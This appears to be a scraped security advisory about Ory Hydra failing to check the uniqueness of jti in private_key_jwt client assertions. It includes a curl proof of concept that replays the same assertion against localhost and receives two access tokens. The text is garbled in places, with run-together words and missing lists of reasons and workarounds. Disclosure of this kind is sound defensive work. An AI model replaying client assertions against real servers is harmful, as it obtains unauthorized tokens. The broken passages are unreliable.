When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion jti:
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
We rate the severity as medium because the following reasons make it hard to replay tokens without the patch:�
Impact
When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion
jti:Hydra does not seem to check the uniqueness of this
jtivalue. Here is me sending the same token request twice, hence with the samejtiassertion, and getting two access tokens:Severity
We rate the severity as medium because the following reasons make it hard to replay tokens without the patch:�
Patches
This will be patched with v1.4.0+oryOS.17
Workarounds
Two workarounds have been identified:
private_key_jwtReferences
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
Upstream
This issue will be resolved in the upstream repository https://github.com/ory/fosite